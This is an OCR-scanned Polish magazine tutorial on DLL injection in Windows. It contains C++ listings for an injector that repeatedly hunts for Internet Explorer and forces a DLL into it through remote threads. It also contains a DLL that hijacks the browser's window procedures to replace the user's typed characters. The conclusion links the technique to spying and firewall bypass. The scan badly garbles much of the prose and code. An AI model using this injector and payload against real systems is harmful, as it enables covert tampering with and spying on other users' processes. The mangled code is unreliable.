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DLL Injection

Wspotczesne systemy operacyjne pozwalajq uruchomic wiele
procesow, z ktorych czes¢ posiada wyzszy priorytet niz inne
oraz moze korzystac z wiekszej ilosci zasobow komputera. Czy
jestesSmy jednak pewni, ze nie da sie przejq¢ kontroli nad tymi
procesami i wykorzystac ich w sposob niezamierzony?

rzejecie kontroli nad procesem
P 0znacza zmuszenie go do wykonania

wczesnie] niezaplanowanych czynnosci
poprzez wykonanie dodatkowego, specjalnie
przygotowanego kodu. Nie jest to rzeczq
prostq, gdyz kod procesu znajduje sie
w odseparowanej, wirtualnej przestrzeni
adresowej, do ktorej dostep jest ograniczony
przez system operacyjny. System Windows
pozwala jednak na utworzenie tzw. zdalnych
watkow (ang. remote threads), umozliwiajgeych
uruchomienie pewnego kodu w wybranym
procesie. Istniejg, co prawda, pewne
ograniczenia, gdyz kod ten musi znajdowac sie
w pamieci danego procesu. Jest jednak pewien
Sp0osOb, aby to zabezpieczenie omingc.

Funkcjg odpowiedzialng za tworzenie
zdalnego watku jest CreateRemoteThread.
Jako czwarty parametr przyjmuje ona adres
funkeji watku, tzn. funkgji, ktora zostanie
uruchomiona po utworzeniu zdalnego waqtku.
Nagtowek funkcji watku, ThreadProc, ilustruje
Listing 1.

Parametrem funkcji watku jest wskaznik,
wiec wartos¢ 32-bitowa (caty artykut dotyczy
32-bitowej wersji Windows). Warto$¢ zwracana
jest typu DWORD (Double-Word), a wiec takze
32-bitowa. Spojrzmy jeszcze raz na Listing 1.

i nagtowek funkcji LoadLibrary. Jej
parametrem jest wskaznik (32 bity), a wartose
zwracana jest rowniez 32-bitowa. Dodajmy
do tego fakt, ze adres LoadLibrary jest

zawsze taki sam dla kazdego procesu.
Zauwazymy wiec, ze jako 4 parametr funkcji
CreateRemoteThread mozemy podac
adres LoadLibary, O poniewaz funkcja
OWa Ma zawsze ten sam adres — Na pewno
zostanie wywotana. Jezeli jako parametr
LoadLibrary podamy sciezke do modutu DLL,
to otrzymujemy prosty sposob na wstrzykniecie
kodu do procesu. Zdalny wagtek wywota
LoadLibrary, kiora zataduje do procesu
wybrany modut DLL.

Windows pomaga nam jeszcze bardziej
- pozwalajgc na zapisanie pewnych danych
w pamieci procesu. Fakt ten wykorzystamy
do przekazania $ciezki modutu DLL do funkgji
LoadLibrary. Projekt zrealizujemy programujgc
w jezyku C++.

Klasa wstrzykujgca kod

Tworzymy nowy projekt i nadajemy mu
odpowiednig nazwe. Do projektu dodajemy trzy
pliki:

Main.cpp — plik bedzie zawieral funkcje
main,

DllInjection.h — plik bedzie zawierat
deklaracje klasy, ktérej zadaniem

bedzie znalezienie wybranego procesu |
wstrzykniecie wczesniej przygotowanego
kodu,

DllInjection.cpp — definicja
zadeklarowanej w p11Injection.h klasy.



Zaczniemy od pliku nagtowkowego
DllInjection.h. Dodajemy do niego kod
z Listingu 2.

Na poczqgtku wigczamy odpowiednie
pliki:

windows.h — funkcje, state i struktury
wykorzystywane przy pisaniu
programow dla systemu Windows,
tlhelp32.h — funkcje I struktury
pozwalajgce uzyskac informacje o
aktualnie uruchomionych aplikacjach,
iostream — Strumienie wejscia/
wyjscia.

Nasza klasa zawiera dwie metody :
int GetProcessID(char *

fileName) — zwraca identyfikator
procesu, ktorego nazwa pliku

wykonywalnego jest przekazywana jako

parametr. Jezeli w systemie taki proces
nie istnieje, metoda zwraca -1,
bool InjectDll(char * dllName,

unsigned int processID) — metody

uzywamy do wstrzykniecia do procesu

kodu zawartego w module DLL. Sciezke

do pliku podajemy jako pierwszy
parametr, a identyfikator procesu jako
drugi.

Mozemy przejs¢ do zdefiniowania metod
klasy. Do pliku D11Injection.cpp
wpisujemy kod z Listingu 3.

Metoda GetProcessID rozpoczyna
dziatanie od stworzenia statyczne;
zmiennej pid, przechowujgcej
identyfikator procesu, do ktdrego
wstrzyknelismy kod. Poniewaz
poszukiwanie procesu — ofiary
bedzie odbywac sie w nieskonczone;
petli, zmienng tq wykorzystamy w
celu unikniecia ponownej infekcii.
Nastepnie wywotujemy funkcje
CreateToolhelp32Snapshot W Celu
uzyskania uchwytu tzw. migawki (ang.
snapshot) systemowej. Funkcja ta
przyjmuje nastepujgce parametry:

flagi — uzywamy wartosci TH32Cs
SNAPPROCESS, ktora oznacza, ze
chcemy uzyska¢ informacje o
wszystkich procesach dziatajgeych w
systemie,

identyfikator procesu, ktory ma by¢
wigczony do migawki. Ten parametr

jest wykorzystywany tylko z niektorymi
flagami, w przeciwnym wypadku jest
ignorowany.

Posiadajgc uchwyt systemowej migawki,
mozemy uzyskac informacje o procesach
postugujgc sie nastepujacymi funkejami:

Process32First — zwraca informacje
0 pierwszym procesie napotkanym
w systemowej migawce. Parametry
funkcji to:
uchwyt migawki, ktory uzyskujemy
WYWOlUJQC CreateToolhelp32Sna
pshot,
wskaznik do struktury
PROCESSENTRY32, definicje ktdrej
ilustruje Listing 4. Przed wywotaniem
Process32First nalezy ustawic¢
pole dwsize struktury na liczbe
bajtow przez niq zajmowanych.
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Funkcja zwraca TRUE, jezeli pola
struktury zostaty uzupetnione w sposob
prawidiowy, w przeciwnym wypadku

— FALSE,

Process32Next — ZWraca informacje
0 kolejnych procesach w systemowej
migawce. Funkcja przyjmuje te same
parametry oraz zwraca analogiczng
wartose¢, CO Process32First

Struktura PROCESSENTRY32 dostarcza
nam informacji o wybranym procesie.
Wsrod wielu pol struktury warto zwrocic
uwage na:

DWORD th32ProcessID - identyfikator

procesu,

TCHAR szExeFile[MAX PATH]

- ciqg znakdw bedgey nazwg pliku
wykonywalnego procesu.

Listing 1. Nagfowki funkcji ThreadProc oraz LoadLibrary

DWORD WINAPI ThreadProc (LPVOID lpParameter);

HMODULE WINAPI LoadLibrary(LPCTSTR lpFileName);

Listing 2. Plik nagtowkowy Dllinjection.h

#idef _dllinjection_h_

#define dllinjection h

#include<windows.h>

#include <tlhelp32.h>

#include<iostream>
Process

GetProcessID( * fileName) ;

InjectDll( * dllPath,

#endif

processID);

D:\Documents and Settings\macpak\Pulpit\P1\Debug\P1.exe

ID 2756

executabhle file TAPPSRU.exe

ID 32608

executahle file explorer3.exe

ID 3644

executable file alg.exe

ID 4848

executahle file wscntfy.exe

ID 4856

executabhle file PDUDServ.exe

ID 4884

executable file daemon.exe
228

executable file tlen.exe

ID 2204

executable file ctfmon.exe

ID 42808

executable file svchost.exe

ID 4432

executahle file winamp.exe

ID 5856

executable file MSDEU.EXE

ID 59228

executahle file
udalo sie wstrzyknac kod

iexplore.exe

-]

Rysunek 1. Przeglgdanie procesow systemu
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Listing 3. Metody klasy wstrzykujqcej kod do wybranego procesu

#include"DllInjection.h"
int Process::GetProcessID(char * fileName)

(
1

static int pid= -1;
HANDLE hProcessSnap = CreateToolhelpBZSnapshot(THBZCSisNAPPROCESS,O);
if (hProcessSnap == INVALID_ HANDLE_VALUE)

std::cout<<"\nBlad funkcji CreateToolhelp32Snapshot";

return -1;

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof (PROCESSENTRY32) ;
if (!Process32First (hProcessSnap, &pe32))

std::cout<<"\nBlad funkcji Process32First";
CloseHandle (hProcessSnap) ;
return -1;

else

std::cout<<"\nProcess ID "<<pe32.th32ProcessID;
std::cout<<"\nProcess executable file "<<pe32.szExeFile;

if ((strcmp(pe32.szExeFile,fileName)==0) && pid != pe32.th32ProcessID

pid = pe32.th32ProcessID;
return pe32.th32ProcessID;

while (Process32Next (hProcessSnap, &pe32))

std::cout<<"\nProcess ID "<<pe32.th32ProcessID;
std::cout<<"\nProcess executable file "<<pe32.szExeFile;
vif ((strcmp (pe32.szExeFile,fileName)==0) && pid != pe32.th32ProcessID)
pid= pe32.th32ProcessID;
return pe32.th32ProcessID;

return -1;
CloseHandle (hProcessSnap) ;
}
bool Process::InjectDll (char * dllName,unsigned int processID)
{
HANDLE pHandle = OpenProcess (PROCESS_ALL_ACCESS,false,processID);
if (pHandle == INVALID HANDLE_VALUE)
return false;
void * address = VirtualAllocEx(pHandle,NULL,strlen(dllName),MEMﬁCOMMIT | MEM_
RESERVE , PAGE_READWRITE) ;
if (!WriteProcessMemory (pHandle,address, (LPVOID)dl1lName, strlen (dl1Name),NULL)
return false;
HMODULE hK32 = GetModuleHandle ("Kernel32");

HANDLE tHandle = CreateRemoteThread (pHandle,NULL,O,
(LPTHREAD_START_ROUTINE)GetProcAddress (hK32, "LoadLibraryA"),
address, 0,NULL) ;

WaitForSingleObject (tHandle, INFINITE) ;

DWORD dllAddress;

GetExitCodeThread (tHandle, &dl11Address) ;

CloseHandle (tHandle) ;

VirtualFreeEx (pHandle,address,0,MEM RELEASE) ;

tHandle = CreateRemoteThread (pHandle,NULL,O,

(LPTHREAD7START7ROUTINE)GetProcAddress(hK32,"FreeLibrary"),(void*
) &d11Address, 0,NULL) ;
WaitForSingleObject (tHandle, INFINITE) ;
CloseHandle (tHandle) ;

return true;
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Sercem naszej klasy jest metoda
InjectDll, odpowiedzialna za
wstrzykniecie kodu do procesu.
Rozpoczyna ona dziotanie od uzyskania
uchwytu wybranego procesu, poprzez
wywotanie funkcji openProcess. Parametry
funkcji to:

stata okreslajgca, jakie prawa dostepu
do procesu chcemy uzyskac,

wartose typu BooL, okreslajgca,

Czy proces stworzony przez ten
proces odziedziczy uchwyt procesu
nadrzednego,

identyfikator procesu, ktory chcemy
otworzye.

Postugujac sie funkcjg virtualAllocEx,
rezerwujemy region pamieci w wirtualnej
przestrzeni adresowej procesu. Funkcja
przyjmuje nastepujgce parametry:

uchwyt procesu,

adres startowy, od ktérego chcemy
rozpoczqc rezerwacje pamieci. Jezeli
podamy NULL, funkcja sama okresli
poczagtek regionu pamieci,

rozmiar obszaru pamieci, ktory
chcemy zarezerwowa¢. Podajemy
liczbe bajtow, jakg zajmuje Sciezka do
modutu DLL,

flagi okreslajqce typ rezerwacji
pamigci. Wybieramy flagi MEM
RESERVE | MEM _ COMMIT W Celu
rezerwaciji i alokacji pamieci w jednym
kroku,

statq okreslajacq typ ochrony pamieci.
Poniewaz chcemy zaréwno czytac, jak i
pisa¢ do pamiegci, wybieramy PAGE_
READWRITE.

Funkcja zwraca adres do przydzielonego
regionu pamieci, do ktérego mozemy
zapisac sciezke do modutu DLL, wywotujgce
WriteProcessMemory. DO te] funkci
przekazujemy nastepujgce parametry:

uchwyt procesu,

adres pamieci, od ktorego chcemy
rozpoczq¢ zapisywanie danych,
adres do bufora zawierajgcego dane
do zapisu,

liczbe bajtow, ktore chcemy zapisac,
wskaznik do zmiennej, ktora po
wywotaniu funkcji bedzie zawiera¢
liczbe zapisanych bajtow.



Ostatnim krokiem przed utworzeniem
zdalnego watku jest uzyskanie
uchwytu modutu, ktéry zawiera funkcje
LoadLibrary Wykorzystujemy funkcje
GetModuleHandle, O jJako parametr
podajemy nazwe modutu.

Zdalny watek jest tworzony
wywotaniem CreateRemoteThread.
Parametry funkcji to:

uchwyt procesu, w ktorym chcemy
utworzy¢ watek,

wskaznik do struktury SECURITY _
ATTRIBUTES Okreslajgcej tzw.
deskryptor bezpieczenstwa (ang.
security descriptor). Przy przekazaniu
wartosci NULL watek otrzymuje
domysliny deskryptor bezpieczenstwa,
rozmiar stosu w bajtach. Podajqc zero,
wybieramy wartos¢ domysing,
wskaznik do funkgji, ktora zostanie
wykonana po utworzeniu wqtku.
Aby uzyska¢ adres LoadLibrary,
UZywamy GetProcAddress,
przekazujgc uchwyt modutu
zawierajgcego funkcje oraz nazwe
funkeii,

wskaznik do zmiennej, ktéra

bedzie przekazana jako parametr
funkeji watku. Wykorzystujemy

tu adres uzyskany wywotaniem
VirtualAllocEx, pod ktorym
znajduje sie ciqg znakdw zawierajgey
Sciezke do modutu DLL. Postuzy

on nam jako parametr funkcji
LoadLibrary,

flagi kontrolujgce tworzenie watku,
wskaznik do zmiennej,

ktora po wywotaniu funkcji
CreateRemoteThread bedzie
zawierac¢ identyfikator nowo
utworzonego watku.

Wartosciq zwracang jest uchwyt
utworzonego watku.

Wywotanie CreateRemoteThread
powoduje, ze wewnqtrz wybranego
procesu zostaje wywotana funkcja
LoadLibrary, kiéra faduje do pamigci
wczesniej przygotowany kod i zwraca
jego adres. Dlatego po wywoltaniu
CreateRemoteThread WyKorzystujemy
funkcje waitForsingleObject, KtOra
czeka przez czas okreslony drugim
parametrem (podajemy INFINITE, CO
0znacza nieskonczonose), na obiekt

okreslony przy pomocy pierwszego
parametru. Definiujemy go jako uchwyt
zdalnego watku — co oznacza, ze czekamy
do momentu zakonczenia jego pracy.
Poniewaz funkcjq watku jest LoadLibrary,
tak wiec czekamy, az funkcja zakonczy
dziatanie. Wartos¢ zwracang przez
LoadLibrary — adres zatladowanego

DLL INJECTION

kodu — uzyskujemy wywotujgc
GetExitCodeThread Z NAStepujgcymi
parametrami:

uchwyt watku,

wskaznik do zmiennej, ktora w przypadku
poprawnego zadziatania funkeji (tzn.

gdy watek zakonczyt dziatanie i nie

Listing 4. Struktura PROCESSENTRY32

typedef struct tagPROCESSENTRY32 ({
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeaplID;
DWORD th32ModulelID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];

} PROCESSENTRY32,
*PPROCESSENTRY32;

#include"DllInjection.h"
int main()
{

Process p;

int processID = -1;

while (true)

if (processID != -1)

udalo sie");
WaitForSingleObject (h,3000);

return 0;

Listing 6. Plik nagtowkowy Functions.h

#ifndef functions_h_

#define _functions_h_

#include<windows.h>
#include <tlhelp32.h>

struct Desc

{
HWND hwnd;
pWndProc proc;

extern Desc tabDesc[512];
extern int counter;
#endif

Listing 5. Przykiad uzycia klasy wstrzykujqcej kod do procesu

char path[] = "D:\\DllModule.dll"; // pelna sciezka modulu
HANDLE h = CreateEvent (0, TRUE, FALSE, "mp") ;

processID = p.GetProcessID("iexplore.exe");

std::cout<<"\n"<<(p.InjectDll (path,processID) == true ? "udalo sie":"nie

typedef LRESULT (CALLBACK *pWndProc) (HWND,UINT, WPARAM, LPARAM) ;

void ListThreads (unsigned int processID);
LRESULT APIENTRY NewWindowProc (HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
BOOL CALLBACK EnumThreadWndProc (HWND hwnd, LPARAM lParam);
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Listing 7. Definicje funkcji modutu DLL

#include"Functions.h"

Desc tabDesc[512];
int counter;

LRESULT APIENTRY NewWindowProc (HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

const char napis[] = "I see YOU ";
static unsigned int charCount = 0;
if (uMsg == WM_CHAR)
wParam = (int)napis/[ ((charCount++)%10)];

for (int i=0;i<counter;i++)

if (tabDesc[i].hwnd == hwnd)

return CallWindowProc (tabDesc[i].proc,hwnd,uMsg,wParam,lParam);

return 0;

void ListThreads (unsigned int processID)

HANDLE hProcessSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, processID );
if (hProcessSnap == INVALID HANDLE VALUE)

return;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof (threadEntry);

if (!Thread32First (hProcessSnap, &threadEntry))

CloseHandle (hProcessSnap) ;
return ;

else
if (processID == threadEntry.th320wnerProcessID)

EnumThreadWindows (threadEntry.th32ThreadID, EnumThreadWndProc, NULL) ;

while (Thread32Next (hProcessSnap, &threadEntry)
if (processID == threadEntry.th320wnerProcessID)

EnumThreadWindows (threadEntry.th32ThreadID, EnumThreadWndProc, NULL) ;

CloseHandle (hProcessSnap) ;

BOOL CALLBACK EnumThreadWndProc (HWND hwnd, LPARAM 1Param)

if (IsWindowVisible (hwnd))

tabDesc[counter].proc = (pWndProc)SetWindowLong ( (HWND) hwnd, GWL_WNDPROC, (LONG)New
WindowProc) ;

tabDesc[counter++] .hwnd = hwnd;

EnumChildWindows (hwnd, EnumThreadWndProc, NULL) ;

return TRUE;
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jest aktywny) bedzie zawiera¢ wartosé
zwracang przez funkcje watku.

Po zatadowaniu kodu nastepuje wywoianie
funkcji p11Main, wykonujgcej zdefiniowane
przez nas zadania. Po zakonczeniu jej
dziatania mozemy przystgpi¢ do usuniecia
wstrzyknietego kodu. Wykorzystujemy do
tego funkcje FreeLibrary (dokladniej,
funkcja zmniejsza o jeden licznik
odniesien do wybranego modutu).
Ponownie mozemy skorzystac z sztuczki
podmiany funkcji watku I uruchomic
zdalny watek z funkcjq FreeLibrary. Jako
parametr podajemy adres wstrzyknietego
kodu, uzyskany jako warto$¢ zwracang
przez LoadLibrary Dodatkowo
zwalniamy pamie¢ uzytg na zapisanie
Sciezki do modutu DLL, wywotujgc

funkcje virtualFreeEx. Przyjmuje ona
nastepujgce parametry:

uchwyt procesu,

adres bazowy regionu pamieci, ktory
chcemy zwolnic,

liczbe bajtéw, jakg chcemy zwolnic,
statq, okreslajgeq w jaki sposob
chcemy zwolni¢ pamie¢. Wybieramy
MEM _RELEASE — CO powoduje, ze

PO wywoltaniu funkcji pamiec¢ jest
wolna (istnigje mozliwose uzycia
pArametru MEM _ DECOMMIT, W takim
przypadku po wywotaniu funkeji pamiec
fizycznie jest zwalniana, lecz pozostaje
zarezerwowana do przyszlego uzycia).
Przy wyborze MEM _ RELEASE trzecCi
parametr funkcji musi rownac sig zero.

Przykiad uzycia klasy jest zaprezentowany
na Listingu 5. W nieskonczonej petli
szukamy interesujgcego Nas procesu

i jezeli taki znajdziemy, wstrzykujemy

mu przygotowany kod. Dodatkowo
wprowadzamy 3-sekundowe opodznienie.

Hakowanie Internet Explorera
Jako przykiad uzycia techniki DLL Injection
napiszemy modut DLL, powodujgcy zmiane
znakow wpisywanych do Internet Explorera.
Zrobimy to w dos¢ prosty sposob, a
mianowicie podmienimy procedure obstugi
komunikatow okien Internet Explorera, co
pozwoli nam na przechwycenie komunikatu
WM _ CHAR (generowanego, gdy komunikat
WM _ KEYDOWN jest ttumaczony przez
funkcje TranslateMessage). Wraz z



tym komunikatem okno otrzymuje dwa
parametry: WPRAM | LPARAM. Parametr
WPARAM zawiera kod znaku, ktory zostat
wprowadzony. Zmieniajgc go spowodujemy,
7e uzytkownik zobaczy btedny znak w oknie
Internet Explorera.

System Windows pozwala tylko na
zmiane procedury obstugl komunikatow w
procesie, w ktorym okno zostato utworzone,
jednak dzieki uzyciu techniki DLL Injection
nie bedzie to dla nas przeszkoda.

Diagram blokowy programu ilustruje
Rysunek 2.

Zaczniemy od napisania funkcji, ktore
postuzg nam do zmiany procedury obstugi
komunikatow okien. Do projektu dodajemy
dwa pliki: Functions.h oraz Functions.cpp.
Do pliku nagtowkowego dopisujemy kod z
Listingu 6.

Zaczynamy od wigczenia niezbednych
plikow nagtowkowych. W kolejnym kroku
deklarujemy nowy typ, bedacy wskaznikiem
na funkcje (typ zwracany oraz sygnatura sq
zgodne z procedurg obstugi komunikatdw).
Nastepnie definiujemy strukture pesc, ktdra
zawiera dwa pola:

HWND hwnd — uchwyt okna,
pWndProc proc — wskaznik na
procedure obstugi komunikatow.

Funkcja ListThreads postuzy nam do
wyszukania wszystkich watkdw zwigzanych z
procesem, ktdrego identyfikator przekazujemy
jako parametr. Funkcja NewwWindowProc

jest nowq procedurqg obstugi komunikatow.
Funkgji zwrotne] EnumThreadWndProc
uzyjemy w celu sprawdzenia wszystkich okien
wybranego procesu. Na koncu deklarujemy
dwie zmienne:

counter — liczba okien, ktorych
procedura obstugi komunikatow zostata
zmieniona,

tabDesc — tablica przechowujgca
obiekty struktury pesc.

Definicje zadeklarowanych wczesniej funkgji
ilustruje Listing 7.

Dziatanie funkcji ListThreads jest
podobne do ListProcesses, leCz
w tym przypadku chcemy uzyskac
informacje o watkach w systemie
- tak wiec jako drugi parametr funkgii
CreateToolhelp32Snapshot
przekozujemy TH32CS _ SNAPTHREAD.

Analogicznie, funkcje Process32First

0raz process32Next zastepujemy przez
Thread32First OrdZ Thread32Next.
Informacje 0 watku sq umieszczane w
strukturze THREADENTRY32 (Listing 8), do
ktore] wskaznik przekazujemy jako drugi
parametr wywolania Thread32First

Oraz Thread32Next. Aby sprawdzi¢, czy
dany watek nalezy do wybranego procesu,
wykorzystujemy pole th320wnerProcessID,
zawierajgce identyfikator procesu
tworzgcego dany watek. Pole th32ThreadID
zawiera identyfikator watku. Podobnie jok

w przypadku Process32First, wywolujqe
Thread32First MuUsSiMy wczesniej wpisac
do pola dwsize struktury THREADENTRY 32
liczbe bajtow zajmowanych przez te strukture.
Dla kazdego watku, stworzonego przez
wybrany przez nas proces, wywotujermy
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funkcje EnumThreadwindows W Celu
sprawdzenia wszystkich okien zwigzanych z
danym watkiem. Parametry funkcji to:

identyfikator watku,

wskaznik do funkcji zwrotnej,
wywotywanej dla kazdego
znalezionego okna. Naszq funkejq
Zwrotng jest EnumThreadWndProc,
wartose, ktora bedzie przekazana do
funkcji zwrotnej.

Parametry funkcji zwrotnej
EnumThreadWndProc 1O:

uchwyt znalezionego okna,
wartose przekazywana do funkci
EnumThreadWindows JOKO trzeci
parametr.

Proces aplikacji wstrzykujacej kod

Czy w systemie
uruchomiony jest
proces Internet
Explorera?

TAK

Wstrzyknij kod
do procesu

Sprawdz
widocznos¢
okien procesu

Dla wszystkich widocznych
okien zmien procedure
obstugi komunikatow

Proces Internet Explorera

Rysunek 2. Diagram blokowy programu wstrzukujgcego kod do Internet Explorera

& Customize Your Settings - Windows Internet Explorer
) - [Esmrou
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W S |{ ) Customize Vour Settings

Rysunek 3. Okno IE z zmieniong procedurq obstugi komunikatow
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Funkcja ta na poczgtku wywoluje
IsWindowVisible W celu sprawdzenia,
czy dane okno jest widoczne. Jezeli tak,
nastepuje zmiana procedury obstugi
komunikatow okna. Wywotana zostaje
funkcja setwindowLong, zmieniajgca
atrybuty okreslonego okna. Jej
parametry to:

uchwyt okna,

stata, ktora okresla, jaki atrybut chcemy
zmieni¢. Wybieramy GWL _ WNDPROC,
CO 0znacza zmianeg procedury obstugi
komunikatow,

nowq wartos¢ atrybutu. Poniewaz
zmieniamy procedure obstugi okna,
podajemy adres nowej procedury.

Funkcja zwraca adres starej procedury
obstugi komunikatow, ktdry zapisujemy w
tablicy tabbesc. Dodatkowo zapisujemy
takze uchwyt okna, co pozwoli nam

na powigzanie okna z okreslong
procedurag. Na koncu wywotujemy

EnumChildWindows, przeszukujgcq okna
bedqgce potomkami okna, ktorego uchwyt
przekazujemy jako pierwszy parametr.
Drugi i trzeci parametr sq takie same, jak
dla funkcji EnumThreadwindows.

Nowa procedura obstugi
komunikatow, NewWindowProc, Wykonuje
dwie czynnosci. Sprawdza, czy zostata
wywotana z komunikatem wM _ CHAR
i w takim przypadku modyfikuje wartose
parametru wparam. Procedura ta nie
obstuguje zadnych innych komunikatow,
aby wiec zachowa¢ poprawne
dziatanie Internet Explorera, musimy
wywola¢ takze starg procedure obstugi
komunikatow. W tym celu uzywamy
CallWindowProc, KtOra jako pierwszy
parametr przyjmuje adres procedury
do wywotania. Pozostate parametry sq
zgodne z parametrami NewWindowProc.
Internet Explorer posiada wiele okien,
ktorych procedura obstugi komunikatow
zostata zmieniona, dlatego w celu
odnalezienia wiasciwego adresu

Listing 8. Struktura THREADENTRY32

typedef struct tagTHREADENTRY32 ({
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID;
DWORD th320wnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32,
*PTHREADENTRY32

Listing 9. Funkcja DIIMain

#include <windows.h>

#include"Functions.h"

if (fdwReason == DLL_PROCESS_ATTACH)
ListThreads (GetCurrentProcessId());

return TRUE;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD

fdwReason, LPVOID lpReserved)

W Sieci

http://www.codeproject.com — zbiér bardzo wielu przyktadow aplikacji w réznych jezykach

programowania,

http://www.codeproject.com/KB/threads/winspy.aspx — Swietny artykut o uzyskiwaniu kontroli
nad procesem, porusza m.in. opisywang w artykule technike zdalnych watkéow,
http://msdn2.microsoftcom — dokumentacja MSDN.
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procedury uzywamy petli porownujgcej
uchwyty poszczegolnych okien.

Po zatadowaniu modutu DLL
wywolywana jest funkcja p11Main, ktorej
kod ilustruje Listing 9. Parametry funkgji to:

uchwyt modutu DLL,

stata okreslajgca przyczyne wywolania
funkcji. DLL _ PROCESS _ ATTACH
0znacza, ze modut DLL zostat
zatadowany do wirtualnej przestrzeni
adresowej procesu,

ostatni parametr ma wartose zalezng
od drugiego parametru.

/adaniem pllMain jest wywotanie
funkcji ListThreads, CO prowadzi do
zmiany procedury obstugi komunikatow
widocznych okien Internet Explorera.

Podsumowanie

Celem artykutu byto zaprezentowanie
techniki DLL Injection, ktora stanowi

wielkie zagrozenie w systemach z

rodziny Windows. Uzyskanie kontroli nad
procesem, w szczegoinosci majgcym
dostep do waznych zasobdw komputera,
moze prowadzi¢ do nieprzewidywanych
zachowan systemu, a w najgorszym
wypadku takze do trwatych jego uszkodzen.
Wstrzykujge kod do aplikacji takich, jak
przeglgdarki internetowe, komunikatory
czy klienci poczty e-mail, jestesmy w
stanie szpiegowa¢ uzytkownika, jak
rowniez modyfikowa¢ dane wysytane badz
odbierane z sieci.

Ztosliwe programy uzywajq techniki
DLL Injection, aby oming¢ zapore ogniowa
i polqczy¢ sie z innym komputerem. W tym
celu poszukujg procesow znajdujgeych
sie na liscie wyjgtkow zapory i mogacych
sie swobodnie tqczy¢ przez okreslony
port komputera. Gdy taki proces uda sie
odnalez¢, zostaje wstrzykniety specjalnie
przygotowany kod i od tego momentu
ztosliwy program moze komunikowac sie
przez Internet.
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